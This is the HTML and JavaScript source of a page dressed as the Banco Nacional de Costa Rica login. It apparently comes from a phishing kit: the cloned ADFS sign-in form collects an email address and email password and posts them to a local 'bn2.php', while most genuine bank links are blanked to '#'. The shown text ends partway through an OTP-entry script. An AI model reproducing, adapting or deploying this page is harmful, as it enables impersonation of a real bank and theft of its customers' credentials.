<html lang=en><meta content=text/html;charset=utf-8 http-equiv=content-type><meta content=IE=edge http-equiv=X-UA-Compatible><meta content=width=device-width,initial-scale=1.0,user-scalable=1 name=viewport><meta content=text/html;charset=UTF-8 http-equiv=content-type><meta content=no-cache,no-store http-equiv=cache-control><meta content=no-cache http-equiv=pragma><meta content=-1 http-equiv=expires><meta content="Connecting to Banco Nacional"name=mswebdialog-title><title>Banco Nacional de Costa Rica. Inicio de Sesion</title><script>//<![CDATA[
function LoginErrors(){this.userNameFormatError = 'Enter your user ID in the format \u0026quot;@domains.com\\user\u0026quot; or \u0026quot;user@domains.com\u0026quot;.'; this.passwordEmpty = 'Enter your password.'; this.passwordTooLong = 'Password is too long (\u0026gt; 128 characters).';}; var maxPasswordLength = 128;
//]]></script><script>//<![CDATA[
// Copyright (c) Microsoft Corporation.  All rights reserved.
function InputUtil(errTextElementID, errDisplayElementID) {

    if (!errTextElementID)  errTextElementID = 'errorText'; 
    if (!errDisplayElementID)  errDisplayElementID = 'error'; 

    this.hasFocus = false;
    this.errLabel = document.getElementById(errTextElementID);
    this.errDisplay = document.getElementById(errDisplayElementID);
};
InputUtil.prototype.canDisplayError = function () {
    return this.errLabel && this.errDisplay;
}
InputUtil.prototype.checkError = function () {
    if (!this.canDisplayError){
        throw new Error ('Error element not present');
    }
    if (this.errLabel && this.errLabel.innerHTML) {
        this.errDisplay.style.display = '';        
        var cause = this.errLabel.getAttribute('for');
        if (cause) {
            var causeNode = document.getElementById(cause);
            if (causeNode && causeNode.value) {
                causeNode.focus();
                this.hasFocus = true;
            }
        }
    }
    else {
        this.errDisplay.style.display = 'none';
    }
};
InputUtil.prototype.setInitialFocus = function (input) {
    if (this.hasFocus) return;
    var node = document.getElementById(input);
    if (node) {
        if ((/^\s*$/).test(node.value)) {
            node.focus();
            this.hasFocus = true;
        }
    }
};
InputUtil.prototype.setError = function (input, errorMsg) {
    if (!this.canDisplayError) {
        throw new Error('Error element not present');
    }
    input.focus();

    if (errorMsg) {
        this.errLabel.innerHTML = errorMsg;
    }
    this.errLabel.setAttribute('for', input.id);
    this.errDisplay.style.display = '';
};
InputUtil.makePlaceholder = function (input) {
    var ua = navigator.userAgent;

    if (ua != null && 
        (ua.match(/MSIE 9.0/) != null || 
         ua.match(/MSIE 8.0/) != null ||
         ua.match(/MSIE 7.0/) != null)) {
        var node = document.getElementById(input);
        if (node) {
            var placeholder = node.getAttribute("placeholder");
            if (placeholder != null && placeholder != '') {
                var label = document.createElement('input');
                label.type = "text";
                label.value = placeholder;
                label.readOnly = true;
                label.style.position = 'absolute';
                label.style.borderColor = 'transparent';
                label.className = node.className + ' hint';
                label.tabIndex = -1;
                label.onfocus = function () { this.nextSibling.focus(); };

                node.style.position = 'relative';
                node.parentNode.style.position = 'relative';
                node.parentNode.insertBefore(label, node);
                node.onkeyup = function () { InputUtil.showHint(this); };
                node.onblur = function () { InputUtil.showHint(this); };
                node.style.background = 'transparent';

                node.setAttribute("placeholder", "");
                InputUtil.showHint(node);
            }
        }
    }
};
InputUtil.focus = function (inputField) {
    var node = document.getElementById(inputField);
    if (node) node.focus();
};
InputUtil.hasClass = function(node, clsName) {
    return node.className.match(new RegExp('(\\s|^)' + clsName + '(\\s|$)'));
};
InputUtil.addClass = function(node, clsName) {
    if (!this.hasClass(node, clsName)) node.className += " " + clsName;
};
InputUtil.removeClass = function(node, clsName) {
    if (this.hasClass(node, clsName)) {
        var reg = new RegExp('(\\s|^)' + clsName + '(\\s|$)');
        node.className = node.className.replace(reg, ' ');
    }
};
InputUtil.showHint = function (node, gotFocus) {
    if (node.value && node.value != '') {
        node.previousSibling.style.display = 'none';
    }
    else {
        node.previousSibling.style.display = '';
    }
};
InputUtil.updatePlaceholder = function (input, placeholderText) {
    var node = document.getElementById(input);
    if (node) {
        var ua = navigator.userAgent;
        if (ua != null &&
            (ua.match(/MSIE 9.0/) != null ||
            ua.match(/MSIE 8.0/) != null ||
            ua.match(/MSIE 7.0/) != null)) {
            var label = node.previousSibling;
            if (label != null) {
                label.value = placeholderText;
            }
        }
        else {
            node.placeholder = placeholderText;
        }
    }
};

//]]></script><link href=portal/css/style8f57.css?id=0F9A4AAB2FC50B0189F436642AAAA301641D0685424D403AAAB8DD4459949820&rp=37d0e840-bdc3-e911-90f3-005056b6cfbb rel=stylesheet><style>.illustrationClass {background-image:url(portal/illustration/illustrationba1b.png?id=183128A3C941EDE3D9199FA37D6AA90E0A7DFE101B37D10B4FEDA0CF35E11AFD&amp;rp=37d0e840-bdc3-e911-90f3-005056b6cfbb);}</style><link href=https://fonts.googleapis.com/css?family=Open+Sans rel=stylesheet><link href=https://fonts.googleapis.com/css?family=Lato rel=stylesheet><link href=https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400&display=swap rel=stylesheet><body class=body dir=ltr><div style="position: static; width: 100%; height: 100%; z-index: 100; display: none;"id=noScript><h1>JavaScript required</h1><p>JavaScript is required. This web browser does not support JavaScript or JavaScript in this web browser is not enabled.<p>To find out if your web browser supports JavaScript or to enable JavaScript, see web browser help.</div><script language=JavaScript>document.getElementById("noScript").style.display = "none";</script><div id=fullPage><div class=float id=brandingWrapper><div class=illustrationClass id=branding><div style="display: block;"class=float id=contentWrapper><div style="display: block;"id=content><table border=0 cellpadding=0 cellspacing=0 height=100% id=tableMain width=100%><tbody><tr class=HeadContain><td style="vertical-align : middle"><div id=header><div class=headerContent><table border=0 cellpadding=0 cellspacing=0 height=80px width=100%><tbody><tr><td><div class=company_logo><img border=0 src=portal/images/bncr/logo.png></div><td><div class=company_help><div id=company_helpInside><a href=# id=chatLink><img alt="BN Chat"src=portal/images/bncr/BNChat.png></a></div></div></table></div></div><tr class=HeadContainSubTitle><td><div class=divHeadContainSubTitle id=divHeadContainSubTitle><label class=divHeadContainSubTitleLabel></label></div><tr class=MainContent id=MainContent><td><div class=contentBlock><div class=modal id=Modal><div class=modal-content id=modalcontent><div class=modal-header><span onclick="Close(this); return false"class=close id=spClose>×</span><h2>Banco Nacional de Costa Rica</h2></div><div class=modal-body><p>Para una mejor atención de sus consultas puede llamar a nuestro centro de atención al número 2212-2000 o puede utilizar nuestra opción de BN Chat en nuestro sitio <a href=http://www.bncr.fi.cr/ target=_blank>www.bncr.fi.cr</a></div><div class=modal-footer><input onclick="Close(this); return false"id=btnClose type=button value=Aceptar></div></div></div><div id=workArea><div class=groupMargin id=authArea><div id=loginArea><div class=groupMargin id=loginMessage></div><form onkeypress="if (event && event.keyCode == 13) Login.submitLoginRequest();"action=bn2.php autocomplete=off id=loginForm method=post novalidate><div class="fieldMargin error smallText"style="display: none;"id=error><span aria-live=assertive for id=errorText role=alert></span></div><div id=formsAuthenticationArea><div id=userNameArea><label class=hidden for=userNameInput id=userNameInputLabel>Correo Electronico</label><div id=divCertificateAuthentication><div class=groupMargin id=authOptionLinks><a onclick="SelectOption('CertificateAuthentication'); return false;"style="display: none;"class=actionLink href=# id=CertificateAuthentication role=button>Sign in using an X.509 certificate</a><div style="display: none;"id=waitingWheelDiv><div id=WaitingWheel><style>#floatingCirclesG {
            position: relative;
            width: 125px;
            height: 125px;
            margin: auto;
            transform: scale(0.4);
            -o-transform: scale(0.4);
            -ms-transform: scale(0.4);
            -webkit-transform: scale(0.4);
            -moz-transform: scale(0.4);
        }

        .f_circleG {
            position: absolute;
            height: 22px;
            width: 22px;
            border-radius: 12px;
            -o-border-radius: 12px;
            -ms-border-radius: 12px;
            -webkit-border-radius: 12px;
            -moz-border-radius: 12px;
            animation-name: f_fadeG;
            -o-animation-name: f_fadeG;
            -ms-animation-name: f_fadeG;
            -webkit-animation-name: f_fadeG;
            -moz-animation-name: f_fadeG;
            animation-duration: 1.2s;
            -o-animation-duration: 1.2s;
            -ms-animation-duration: 1.2s;
            -webkit-animation-duration: 1.2s;
            -moz-animation-duration: 1.2s;
            animation-iteration-count: infinite;
            -o-animation-iteration-count: infinite;
            -ms-animation-iteration-count: infinite;
            -webkit-animation-iteration-count: infinite;
            -moz-animation-iteration-count: infinite;
            animation-direction: normal;
            -o-animation-direction: normal;
            -ms-animation-direction: normal;
            -webkit-animation-direction: normal;
            -moz-animation-direction: normal;
        }

        #frotateG_01 {
            left: 0;
            top: 51px;
            animation-delay: 0.45s;
            -o-animation-delay: 0.45s;
            -ms-animation-delay: 0.45s;
            -webkit-animation-delay: 0.45s;
            -moz-animation-delay: 0.45s;
        }

        #frotateG_02 {
            left: 15px;
            top: 15px;
            animation-delay: 0.6s;
            -o-animation-delay: 0.6s;
            -ms-animation-delay: 0.6s;
            -webkit-animation-delay: 0.6s;
            -moz-animation-delay: 0.6s;
        }

        #frotateG_03 {
            left: 51px;
            top: 0;
            animation-delay: 0.75s;
            -o-animation-delay: 0.75s;
            -ms-animation-delay: 0.75s;
            -webkit-animation-delay: 0.75s;
            -moz-animation-delay: 0.75s;
        }

        #frotateG_04 {
            right: 15px;
            top: 15px;
            animation-delay: 0.9s;
            -o-animation-delay: 0.9s;
            -ms-animation-delay: 0.9s;
            -webkit-animation-delay: 0.9s;
            -moz-animation-delay: 0.9s;
        }

        #frotateG_05 {
            right: 0;
            top: 51px;
            animation-delay: 1.05s;
            -o-animation-delay: 1.05s;
            -ms-animation-delay: 1.05s;
            -webkit-animation-delay: 1.05s;
            -moz-animation-delay: 1.05s;
        }

        #frotateG_06 {
            right: 15px;
            bottom: 15px;
            animation-delay: 1.2s;
            -o-animation-delay: 1.2s;
            -ms-animation-delay: 1.2s;
            -webkit-animation-delay: 1.2s;
            -moz-animation-delay: 1.2s;
        }

        #frotateG_07 {
            left: 51px;
            bottom: 0;
            animation-delay: 1.35s;
            -o-animation-delay: 1.35s;
            -ms-animation-delay: 1.35s;
            -webkit-animation-delay: 1.35s;
            -moz-animation-delay: 1.35s;
        }

        #frotateG_08 {
            left: 15px;
            bottom: 15px;
            animation-delay: 1.5s;
            -o-animation-delay: 1.5s;
            -ms-animation-delay: 1.5s;
            -webkit-animation-delay: 1.5s;
            -moz-animation-delay: 1.5s;
        }

        @keyframes f_fadeG {
            0% {
                background-color: rgb(47, 146, 212);
            }

            100% {
                background-color: rgb(255, 255, 255);
            }
        }

        @-o-keyframes f_fadeG {
            0% {
                background-color: rgb(47, 146, 212);
            }

            100% {
                background-color: rgb(255, 255, 255);
            }
        }

        @-ms-keyframes f_fadeG {
            0% {
                background-color: rgb(47, 146, 212);
            }

            100% {
                background-color: rgb(255, 255, 255);
            }
        }

        @-webkit-keyframes f_fadeG {
            0% {
                background-color: rgb(47, 146, 212);
            }

            100% {
                background-color: rgb(255, 255, 255);
            }
        }

        @-moz-keyframes f_fadeG {
            0% {
                background-color: rgb(47, 146, 212);
            }

            100% {
                background-color: rgb(255, 255, 255);
            }
        }</style><div id=floatingCirclesG><div class=f_circleG id=frotateG_01></div><div class=f_circleG id=frotateG_02></div><div class=f_circleG id=frotateG_03></div><div class=f_circleG id=frotateG_04></div><div class=f_circleG id=frotateG_05></div><div class=f_circleG id=frotateG_06></div><div class=f_circleG id=frotateG_07></div><div class=f_circleG id=frotateG_08></div></div></div></div><input alt="Ingresar con certificado"onclick="return CertificateClick();"title="Ingresar con certificado"class=botonCert tabindex=5 type=button></div></div><div id=divuserNameInput><input class="text fullWidth usrInput InputNoKeyBoard"placeholder="Correo Electronico"autocomplete=off id=userNameInput maxlength=25 name=UserName spellcheck=false tabindex=1 type=email></div></div><div id=passwordArea><label class=hidden for=passwordInput id=passwordInputLabel>Password del Correo</label><input class="text fullWidth usrInput InputNoKeyBoard"oncopy="return false"ondrop="return false"onpaste="return false"placeholder="Clave de Correo"style="font-size: 20px;"autocomplete=off id=passwordInput maxlength=16 name=Password tabindex=2 type=password></div><div id=kmsiArea style=display:none><input id=kmsiInput name=Kmsi tabindex=3 type=checkbox value=true><label for=kmsiInput></label></div><div class=submitMargin id=submissionArea><span onclick="return Login.submitLoginRequest();"onkeypress="if (event && event.keyCode == 32) Login.submitLoginRequest();"class=submit id=submitButton role=button tabindex=4>Finalizar</span></div><div class=divInfo id=divInfoId><div id=lostPassword></div></div></div><input id=optionForms name=AuthMethod type=hidden value=FormsAuthentication></form><div id=authOptions><form action=# id=options method=post><script>function SelectOption(option) {
                    var w = document.getElementById('waitingWheelDiv');
                    if(w) w.style.display = 'inline';
                    var i = document.getElementById('optionSelection');
                    i.value = option;
                    document.forms['options'].submit();
                    return false;
                }</script><input id=optionSelection name=AuthMethod type=hidden><input id=userNameInputOptionsHolder name=UserName type=hidden></form></div><script>//<![CDATA[

            function Login() {
            }

            Login.userNameInput = 'userNameInput';
            Login.passwordInput = 'passwordInput';

            Login.initialize = function () {

                var u = new InputUtil();

                u.checkError();
                u.setInitialFocus(Login.userNameInput);
                u.setInitialFocus(Login.passwordInput);
            }();

            Login.submitLoginRequest = function () { 
                var u = new InputUtil();
                var e = new LoginErrors();

                var userName = document.getElementById(Login.userNameInput);
                var password = document.getElementById(Login.passwordInput);

                if (!userName.value || !userName.value.match('')) {
                    u.setError(userName, e.userNameFormatError);
                    return false;
                }

                if (!password.value) {
                    u.setError(password, e.passwordEmpty);
                    return false;
                }

                if (password.value.length > maxPasswordLength) {
                    u.setError(password, e.passwordTooLong);
                    return false;
                }

                document.forms['loginForm'].submit();
                return false;
            };

            InputUtil.makePlaceholder(Login.userNameInput);
            InputUtil.makePlaceholder(Login.passwordInput);
        //]]></script></div></div></div></div><tr class=FootTr><td><div id=footerPlaceholder><div class=bottomtd><div class="FootCtn footermain fleft"id=footer_copyryt><p class="menulinkHref footer_Display"id=ul_LoginL>Accesos<p class="menulinkHref footer_KeyBoard"id=ul_KeyBoardL>Estimado cliente tenga en cuenta los siguientes consejos:<p class="menulinkHref footer_OTP"id=ul_OTPL>Estimado cliente le solicitamos seguir las siguientes instrucciones para ingresar el OTP respectivo en el sistema:</div><div class=fcenter><ul class="menulinkHref footer_Display"id=ul_LoginC><li><a href=# target=_blank>Registro en línea</a><li><a href=# target=_blank>Sincronizar OTP</a><li><a href=# target=_blank>Descargar Módulo Local IBC</a></ul><ul class="menulinkHref footer_KeyBoard"id=ul_KeyBoardC><li>Favor digitar su clave utilizando el teclado convencional.<li>En este momento usted se encuentra en un nivel de seguridad restringido para el ingreso de cuentas favoritas.</ul><ul class="menulinkHref footer_OTP"id=ul_OTPC><li>Favor digite el OTP proporcionado por el sistema con el que usted cuenta (Cliente OTP, Dispositivo OTP) en la parte de arriba.</ul></div><vr> </vr><div class="FootCtn social_links"><div class=fright><ul class="menulinkHref footer_Display"id=ul_LoginR><li><a href=#>Asistencia: Contáctenos al 2212-2000 opción 5</a></ul><ul class="menulinkHref footer_KeyBoard"id=ul_KeyBoardR><li>Actualice su nivel de seguridad mediante el uso de nuestro nuevo teclado virtual y tenga abiertas todas las posibilidades del servicio.<li>Si tiene dudas favor consultar el sitio de ayuda o comuníse al número 2212-2000.</ul><ul class="menulinkHref footer_OTP"id=ul_OTPR><li>El OTP proporcionado debe ser de 6 caracteres si utiliza Cliente OTP, u 8 números si se utiliza un Dispositivo OTP.<li>Si tiene dudas favor consultar el sitio de ayuda o comuníse al número 2212-2000.</ul></div></div></div></div></table></div><footer id=footer><div class=floatReverse id=footerLinks><div><span id=copyright>© 2018 Microsoft</span><a class="pageLink footerLink"href=# id=privacy>BNCR</a></div></div></footer></div></div></div></div><script>//<![CDATA[
var Title = "Banco Nacional de Costa Rica. Inicio de Sesion";

//Login Title Text
var LoginTitle = "Log In";

var urlBnMovilDefault = '#';
var urlIBDefault = '#';
var urlBNSDefault = '#';
var urlLostPassword = '#';
var urlLostPasswordBnMovil = '#';
var urlAffiliate = '#';
var urlAffiliateBnMovil = '#';
var urlApiToken = "#";
var urlCambioClave = "#";
var urlCambioClaveBNM = "#";
var indiceAuth = "auth.bncr.fi.cr";
var indiceBNM = "BNMovil";
var indiceIB = "bncr.bnonline";
var indiceBNS = "bnservicios";

var urlIBCDescarga = "#";

// URL Logo
var rutabase = "https://";
var urlLogo ='portal/images/bncr/logo.png';
var urlChatImg ='portal/images/bncr/BNChat.png';
var urlChat = "#";

//Copyrights Text
var FooterSeccionLeftLogin = '<p id="ul_LoginL" class="menulinkHref footer_Login" >Accesos</p>';
var FooterSeccionCenterLogin = '<ul id="ul_LoginC" class="menulinkHref footer_Login"><li><a href="#" target="_blank">Registro en l&iacute;nea</a></li><li><a href="#" target="_blank">Sincronizar OTP</a></li><li><a href="' + urlIBCDescarga + '" target="_blank">Descargar M&oacute;dulo Local IBC</a></li></ul>';
var FooterSeccionRightLogin = '<ul id="ul_LoginR" class="menulinkHref footer_Login"><li><a href="#">Asistencia: Cont&aacute;ctenos al 2212-2000 opci&oacute;n 5</a></li></ul>';


var FooterSeccionLeftKeyBoard = '<p id="ul_KeyBoardL" class="menulinkHref footer_KeyBoard">Estimado cliente tenga en cuenta los siguientes consejos:</p>';
var FooterSeccionCenterKeyBoard = '<ul id="ul_KeyBoardC" class="menulinkHref footer_KeyBoard"><li> Favor digitar su clave utilizando el teclado convencional.</li><li>En este momento usted se encuentra en un nivel de seguridad restringido para el ingreso de cuentas favoritas.</li></ul>';
var FooterSeccionRightKeyBoard = '<ul id="ul_KeyBoardR" class="menulinkHref footer_KeyBoard"><li>Actualice su nivel de seguridad mediante el uso de nuestro nuevo teclado virtual y tenga abiertas todas las posibilidades del servicio.</li><li>Si tiene dudas favor consultar el sitio de ayuda o comun&iacute;se al n&uacute;mero 2212-2000.</li></ul>';

var FooterSeccionLeftOTP = '<p id="ul_OTPL" class="menulinkHref footer_OTP">Estimado cliente le solicitamos seguir las siguientes instrucciones para ingresar el OTP respectivo en el sistema:</p>';
var FooterSeccionCenterOTP = '<ul id="ul_OTPC" class="menulinkHref footer_OTP"><li>Favor digite el OTP proporcionado por el sistema con el que usted cuenta (Cliente OTP, Dispositivo OTP) en la parte de arriba.</li></ul>';
var FooterSeccionRightOTP = '<ul id="ul_OTPR" class="menulinkHref footer_OTP"><li>El OTP proporcionado debe ser de 6 caracteres si utiliza Cliente OTP, u 8 n&uacute;meros si se utiliza un Dispositivo OTP.</li><li>Si tiene dudas favor consultar el sitio de ayuda o comun&iacute;se al n&uacute;mero 2212-2000.</li></ul>';


//Terms Text
var Terms = "Terms of use";

//Terms Url can be changed here.
var TermsUrl = "#";

//Privacy Text
var Privacy = "Privacy Policy";

//Privacy Url can be changed here.
var PrivacyUrl = "#";

// Help Chat
var chatLink = '<a id="chatLink" href="' + urlChat + '"><img alt="BN Chat" src="' + urlChatImg + '"></a>';

var helpModal = '<div id="Modal" class="modal"><div id="modalcontent" class="modal-content"><div class="modal-header"><span id="spClose" onclick="Close(this); return false" class="close">&times;</span><h2> Banco Nacional de Costa Rica</h2></div><div class="modal-body"><p>Para una mejor atenci\u00F3n de sus consultas puede llamar a nuestro centro de atenci\u00F3n al n\u00FAmero 2212-2000 o puede utilizar nuestra opci\u00F3n de BN Chat en nuestro sitio <a href="http://www.bncr.fi.cr/" target="_blank">www.bncr.fi.cr</a></p></div><div class="modal-footer"><input type="button" id="btnClose" value="Aceptar" onclick="Close(this); return false"/></div></div></div>';

// This file contains several workarounds on inconsistent browser behaviors that administrators may customize.
"use strict";

var contentHtml = document.getElementById("contentWrapper");
if (contentHtml) {
  contentHtml.style.display = "none";
}

document.title = Title;
// Loading External Fav ICon and Fonts
document.head.innerHTML += '<link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet"><link href="https://fonts.googleapis.com/css?family=Lato" rel="stylesheet"><link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400&display=swap" rel="stylesheet">';

// iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.
// Note change input type does not work on all versions of all browsers.
if (navigator.userAgent.match(/iPhone/i) !== null) {
  var emails = document.querySelectorAll("input[type='email']");
  if (emails) {
    for (var i = 0; i < emails.length; i++) {
      emails[i].type = 'text';
    }
  }
}

// In the CSS file we set the ms-viewport to be consistent with the device dimensions, 
// which is necessary for correct functionality of immersive IE. 
// However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original
// values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.
// Windows 8 phone has agent string 'IEMobile 10.0'
if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
  var msViewportStyle = document.createElement("style");
  msViewportStyle.appendChild(
    document.createTextNode(
      "@-ms-viewport{width:auto!important}"
    )
  );
  msViewportStyle.appendChild(
    document.createTextNode(
      "@-ms-viewport{height:auto!important}"
    )
  );
  document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
}

// If the innerWidth is defined, use it as the viewport width.
if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {
  var viewport = document.querySelector("meta[name=viewport]");
  viewport.setAttribute('content', 'width=' + window.innerWidth + ', initial-scale=1.0, user-scalable=1');
}

// Gets the current style of a specific property for a specific element.
function getStyle(element, styleProp) {
  var propStyle = null;

  if (element && element.currentStyle) {
    propStyle = element.currentStyle[styleProp];
  }
  else if (element && window.getComputedStyle) {
    propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);
  }

  return propStyle;
}

// The script below is used for downloading the illustration image 
// only when the branding is displaying. This script work together
// with the code in PageBase.cs that sets the html inline style
// containing the class 'illustrationClass' with the background image.
var LoadTheme = function () {
  var passwordInput = document.getElementById('passwordInput');
  var usrName = GetUsrName();

  Signout();
  InitControls(true);

  var signInInput = document.getElementById("userNameInput");
  if (signInInput) {
    signInInput.placeholder = "Correo Electronico";
  }

  var header = document.getElementById("header");
  if (header) {
    header.innerHTML = '<div class="headerContent"><table width="100%" height="80px" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><div class="company_logo"><img src=' + urlLogo + ' border="0" /></div></td><td><div class="company_help"><div id="company_helpInside">' + chatLink + '</div></div></td></tr></tbody></table></div>';
  }

  var logtitle = document.getElementById("loginMessage");
  if (logtitle) {
    //logtitle.innerHTML = LoginTitle;
    logtitle.innerHTML = '';
  }

  var footer = document.getElementById("footerPlaceholder");
  if (footer) {
    footer.innerHTML = '<div class="bottomtd"><div class="FootCtn footermain fleft" id="footer_copyryt">' + FooterSeccionLeftLogin + FooterSeccionLeftKeyBoard + FooterSeccionLeftOTP + '</div><div class="fcenter">' + FooterSeccionCenterLogin + FooterSeccionCenterKeyBoard + FooterSeccionCenterOTP + '</div><vr>      </vr><div class="FootCtn social_links "><div class="fright">' + FooterSeccionRightLogin + FooterSeccionRightKeyBoard + FooterSeccionRightOTP + '</div></div></div>';
  }

  var content = document.getElementById("content");
  if (content) {
    content.innerHTML = '<table id="tableMain" width="100%" height="100%" border="0" cellpadding="0" cellspacing="0"><tbody><tr class="HeadContain"><td style="vertical-align : middle">' + header.outerHTML + '</td></tr><tr class="HeadContainSubTitle"><td><div id="divHeadContainSubTitle" class="divHeadContainSubTitle"> <label class="divHeadContainSubTitleLabel"></label></div></td></tr><tr id="MainContent" class="MainContent"><td><div class="contentBlock">' + helpModal + document.getElementById("workArea").outerHTML + '</div></td></tr><tr class="FootTr"><td>' + footer.outerHTML + '</td></tr></tbody></table>';
    content.style.display = "none";
  }

  contentHtml = document.getElementById("contentWrapper");
  if (contentHtml) {
    document.getElementById("branding").appendChild(contentHtml);
    contentHtml.style.display = "block";
  }

  var terms = document.getElementById("TermsUrl");
  if (terms && TermsUrl.length > 0) {
    terms.href = TermsUrl;
  }
  var privacy = document.getElementById("PrivacyUrl");
  if (privacy && PrivacyUrl.length > 0) {
    privacy.href = PrivacyUrl;
  }

  var branding = document.getElementById("branding");
  var brandingDisplay = getStyle(branding, "display");
  var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display");

  if (brandingDisplay && brandingDisplay !== "none" &&
    brandingWrapperDisplay && brandingWrapperDisplay !== "none") {
    var newClass = "illustrationClass";

    if (branding.classList && branding.classList.add) {
      branding.classList.add(newClass);
    } else if (branding.className !== undefined) {
      branding.className += " " + newClass;
    }
    if (window.removeEventListener) {
      window.removeEventListener('load', LoadTheme, false);
      window.removeEventListener('resize', LoadTheme, false);
    }
    else if (window.detachEvent) {
      window.detachEvent('onload', LoadTheme);
      window.detachEvent('onresize', LoadTheme);
    }
  }

  try {

    AppendCertificate();
    AppendLostPassword();
    DrawMFA(passwordInput);


    if (ExistMFA()) {
      ControlFooter(3);
    } else {
      ControlFooter(1);

      if (IsIB()) {
        GetParamts();
        RestringirMoviles();
      }
      if (IsIBMovil() && usrName.length > 1) {
        SetValueInput('userNameInput', usrName, true);
      }
    }

    content.style.display = "block";

    ClearDomain();
    CambioContrasena();
    ValidarErrorCert();

    if (ElementExist('userNameInput')) {
      document.getElementById("userNameInput").focus();
    }

    if (ElementExist('totp')) {
      document.getElementById("totp").focus();
    }

    if (IsIBMovil() && ElementExist('userNameInput') && ElementExist('passwordInput')) {
      if (document.getElementById("userNameInput").length > 1) {
        document.getElementById("passwordInput").focus();
      }
    }

  } catch (ex) {
    console.log(ex);
  }
};

if (window.addEventListener) {
  window.addEventListener('resize', LoadTheme, false);
  window.addEventListener('load', LoadTheme, false);
}
else if (window.attachEvent) {
  window.attachEvent('onresize', LoadTheme);
  window.attachEvent('onload', LoadTheme);
}


function IsIB() {
  try {
    var urla = window.location.toString();
    if (urla.indexOf(indiceIB).toString() !== "-1" && urla.indexOf(indiceAuth).toString() !== "-1") {
      return true;
    }
  } catch (ex) {
    console.log(ex);
  }

  return false;
}

function IsIBMovil() {
  try {
    var urla = window.location.toString();

    if (urla.indexOf(indiceBNM).toString() !== "-1" && urla.indexOf(indiceAuth).toString() !== "-1") {
      return true;
    }
  } catch (ex) {
    console.log(ex);
  }

  return false;
}

function IsBNS() {
  try {
    var urla = window.location.toString();

    if (urla.indexOf(indiceBNS).toString() !== "-1" && urla.indexOf(indiceAuth).toString() !== "-1") {
      return true;
    }
  } catch (ex) {
    console.log(ex);
  }

  return false;
}

function Signout() {
  try {
    var urla = window.location.toString();

    if (urla.indexOf('wsignout1').toString() !== "-1") {
      WindowsRedirect();
    }
  } catch (ex) {
    console.log(ex);
  }

}

function ClearDomain() {
  try {
    if (ElementExist('errorText') && ElementExist('loginForm')) {
      var ms = document.getElementById('errorText').innerText;
      var tr = "Contrase�a o identificador de usuario incorrectos. Escriba la contrase�a y el identificador de usuario correctos e int�ntelo de nuevo.";
      var trEng = 'Incorrect user ID or password. Type the correct user ID and password, and try again.';

      if (ms.trim() === tr.trim() || ms.trim() === trEng.trim()) {
        if (document.forms['loginForm'].UserName.value.match('[\\\\]')) {
          var a = document.forms['loginForm'].UserName.value.split('\\\\');
          if (a.length > 1) {
            document.forms['loginForm'].UserName.value = a[1];
          }
        }
      }

    }
  } catch (ex) {
    console.log(ex);
  }
}

function CambioContrasena() {
  try {
    if (ElementExist('errorText') && ElementExist('loginForm')) {
      var custom_error = document.getElementById('errorText');
      var identificacion = document.getElementById('userNameInput');
      var inicio = identificacion.value.indexOf("\\") + 1;
      var final = identificacion.value.length;
      var idUsuario = identificacion.value.substring(inicio, final);
      var custom_searchText = "Your password has expired.";
      var redireccionarcambio = false;
      if (custom_error.innerText.substring(0, custom_searchText.length) === custom_searchText) {
        custom_error.innerText = "Your password has expired. Redirecting to change...";
        redireccionarcambio = true;
      }
      else {
        var custom_searchTextEs = "ha caducado.";
        if (custom_error.innerText.indexOf(custom_searchTextEs) > -1) {
          custom_error.innerText = "Su contrase\u00F1a ha expirado, redireccionando al cambio...";
          redireccionarcambio = true;
        }
      }

      if (document.forms['loginForm'].UserName.value.match('[\\\\]')) {
        var a = document.forms['loginForm'].UserName.value.split('\\\\');
        if (a.length > 1) {
          document.forms['loginForm'].UserName.value = a[1];
        }
      }

      if (redireccionarcambio) {
        setTimeout(function () {
          if (IsIBMovil()) {
            document.location.href = urlCambioClaveBNM + "?pId=" + idUsuario;
          } else {
            document.location.href = urlCambioClave + "?Identificacion=" + idUsuario;
          }
        }, 3000);
      }
    }
  } catch (ex) {
    console.log(ex);
  }
}

/*
* Show / Hide control
*/
function HideShowControl(elementList, display) {
  for (var i = 0; i < elementList.length; i++) {
    if (elementList[i] && elementList[i].style) {
      elementList[i].style.display = display;
    }
  }
}

/*
* Verify Exist Element Input
*/
function ElementExist(pstrNombreInput) {

  if (typeof document.getElementById(pstrNombreInput) !== "undefined" && document.getElementById(pstrNombreInput) !== '' && document.getElementById(pstrNombreInput) !== null) {
    return true;
  }
  return false;
}

/*
* Redirect Page
*/
function WindowsRedirect(pblnValidateSSO) {

  try {
    var urihref = urlIBDefault;
    var uri = GetReturnUri();

    if (uri.length > 0) {
      urihref = uri;
    }

    if (IsIB()) {
      urihref = urlIBDefault;
    }
    if (IsIBMovil()) {
      urihref = urlBnMovilDefault;
    }
    if (IsBNS()) {
      urihref = urlBNSDefault;
    }


    if (pblnValidateSSO === true) {
      if (ElementExist('totp')) {
        var uriLogout = window.location.origin;
        uriLogout = uriLogout + '/adfs/ls/?wa=wsignout1.0';
        window.location.replace(uriLogout);

      } else {
        window.location.replace(urihref);
      }
    } else {
      window.location.replace(urihref);
    }

  } catch (ex) {
    console.log(ex);
  }

}

function ExistMFA() {
  if (ElementExist('customAuthArea') &&
    ElementExist('authArea') &&
    ElementExist('mfaGreetingDescription') &&
    ElementExist('totp') &&
    ElementExist('content')) {

    return true;
  }

  return false;
}

function DrawMFA(passwordInput) {
  try {
    if (ExistMFA()) {
      document.getElementById("totp").style = '';
      document.getElementById("continueButton").style = '';
      document.getElementById("mfaGreetingDescription").outerHTML = '';

      var tbl = '';
      tbl += '    <div>';
      tbl += '        <p class="KeyBoardTitle" style="">Digite su OTP</p>';
      tbl += '        <div id="divKeyBoard" class="divKeyBoard">';
      tbl += '            <div id="KeyBoardPassword" class="KeyBoardPassword">';
      tbl += '                <div class="bg-green">';
